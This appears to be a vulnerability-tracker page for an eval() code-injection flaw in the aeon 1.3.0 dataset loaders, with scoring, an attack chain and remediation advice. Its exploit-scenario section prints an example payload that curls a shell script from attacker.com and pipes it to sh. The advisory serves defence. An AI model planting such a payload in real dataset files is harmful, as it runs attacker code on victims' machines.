Skip to main content

aeon CVE-2026-18286

| EUVDEUVD-2026-63434 HIGH
Code Injection (CWE-94)
2026-08-20 zdi GHSA-mp6w-jh5v-fhmr
7.8
CVSS 3.0 · Vendor: zdi
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious CSV with eval payload
  2. Delivery
    Distribute via repository or phishing
  3. Exploit
    Victim loads dataset with aeon loader
  4. Execution
    eval() executes embedded Python expression
  5. Impact
    Arbitrary code runs as victim user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to invoke load_human_activity_segmentation_datasets or load_time_series_segmentation_benchmark against a malicious CSV file - either by opening the file directly or by visiting a web page that triggers the dataset load via the aeon API. The attacker needs no account or authentication on the victim's system; the entire attack is delivered through the crafted file content. The primary limiting factors are: (1) UI:R - the victim must actively load the malicious dataset, requiring social engineering or supply-chain poisoning; (2) aeon version 1.3.0 must be installed; (3) the victim must be using one of the two specific loader functions, not aeon generally. Default aeon installations with no dataset loading are not exposed.

Impact

The CVSS 3.0 score of 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) accurately reflects a local, file-triggered attack requiring user interaction, which materially limits opportunistic mass exploitation compared to network-vectored vulnerabilities. EPSS data is absent from the provided intelligence, so quantitative exploitation probability cannot be stated. The vulnerability is not in CISA KEV, and no public exploit code has been identified; however, ZDI's involvement means a detailed technical write-up with reproduction steps likely exists in their controlled pipeline and may publish after the advisory window closes. Full C:H/I:H/A:H impact is credible - successful eval() injection yields unrestricted arbitrary code execution in the victim's Python process. The UI:R constraint means exploitation depends on social engineering or supply-chain poisoning of research datasets, reducing automatable risk. Real-world priority is moderate: aeon's user base is primarily researchers and data scientists who routinely import third-party datasets, which is precisely the delivery vector this vulnerability exploits, so even a small team regularly ingesting external data should treat patching as urgent.

Exploit ScenarioDerived

An attacker crafts a CSV dataset file where one of the numpy array columns contains an embedded Python expression such as __import__('subprocess').run(['curl','attacker.com/shell.sh','|','sh'],shell=True). The file is distributed via a research data repository, email attachment, or a webpage that auto-triggers a dataset download and load. When a data scientist calls load_human_activity_segmentation_datasets with the malicious file, eval() executes the payload immediately in the Python interpreter with the user's full OS privileges.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 20, 2026

Remote code execution in aeon 1.3.0 is possible when a user loads a maliciously crafted CSV dataset via the load_human_activity_segmentation_datasets or load_time_series_segmentation_benchmark functions, which pass unvalidated column values directly to Python's eval(). An attacker who can deliver a malicious file or dataset URL to a target data scientist can execute arbitrary Python code in the victim's process with their full privileges. No public exploit has been identified at time of analysis, though ZDI (ZDI-CAN-29160) holds technical details; the upstream fix replacing eval() with ast.literal_eval() is available as a commit but a tagged patched release has not been independently confirmed.

RemediationAI

The upstream fix is available as commit 751918052c0cce266b4f7cd4b084408526efc015 in the aeon-toolkit/aeon repository (https://github.com/aeon-toolkit/aeon/commit/751918052c0cce266b4f7cd4b084408526efc015); a specific tagged release version containing this fix has not been independently confirmed from the available data, so users should monitor the aeon PyPI page and upgrade as soon as a post-1.3.0 release is published. As an immediate compensating control, avoid calling load_human_activity_segmentation_datasets or load_time_series_segmentation_benchmark with CSV data sourced from untrusted or third-party origins - this eliminates the attack surface without requiring a code change, at the cost of disabling those loaders for external data. For environments that must process external datasets, running the aeon process inside a restricted container (no outbound network, read-only filesystem beyond the data directory, dropped capabilities) limits blast radius if exploitation occurs. Consult the ZDI advisory at https://www.zerodayinitiative.com/advisories/ZDI-26-469/ for additional vendor guidance.

Affected VersionsENISA

aeon 1.3.0

Affected Packages

euvd aeon no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

aeon is an open-source Python time series machine learning toolkit (CPE: cpe:2.3:a:aeon:aeon:*:*:*:*:*:*:*:*). The vulnerable code in aeon/datasets/_tss_data_loaders.py constructed pandas converters dictionaries using Python lambdas that called eval() on raw string values read from CSV columns - for example: lambda val: np.array(eval(val)). CWE-94 (Improper Control of Generation of Code / Code Injection) precisely describes this pattern: user-controlled data flows into a code-execution sink (eval()) without sanitization or sandboxing. Python's eval() executes arbitrary expressions, including __import__('os').system(...) or any other payload. The fix introduced a dedicated _parse_np_array helper using ast.literal_eval(), which safely evaluates only Python literals (lists, numbers, strings, tuples) and raises ValueError/SyntaxError on anything else. The same commit also removed allow_pickle=True from numpy.load calls in rehabpile_loader.py, eliminating a parallel deserialization risk.

Know when Aeon gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (zdi) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

AV:L reflects file-based local trigger; PR:N as attacker needs no system account; UI:R since victim must actively open the malicious dataset; full CIA impact from unrestricted eval execution.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (zdi).

CVSS VectorVendor: zdi

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Aeon load_human_activity_segmentation_datasets Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of aeon. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the load_human_activity_segmentation_datasets method. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29160.

Executive ViewAI

Why It Matters

aeon 1.3.0 contains a critical remote code execution vulnerability that affects any organization processing CSV datasets through the platform's dataset loading functions. Attackers can inject malicious code into CSV files that, when loaded by data scientists or automated pipelines, execute arbitrary Python code with full user privileges-potentially enabling data theft, model manipulation, or lateral system compromise. Immediate action is required to restrict dataset access and prepare for patching.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: enforce strict controls on CSV data sources (internal/validated only); implement application-level input validation where possible; sandbox or air-gap systems running aeon 1.3.0 to limit lateral movement in case of compromise; monitor Python process execution and network connections from data science environments for anomalous activity; if your organization has the capability to build and test from upstream source, deploying the patch from the repository's main branch (which replaces eval() with ast.literal_eval()) may provide faster remediation than waiting for an official release; escalate to evaluate discontinuing aeon 1.3.0 if patch is not released within 30 days.

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Low
niche Python time series ML research toolkit
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy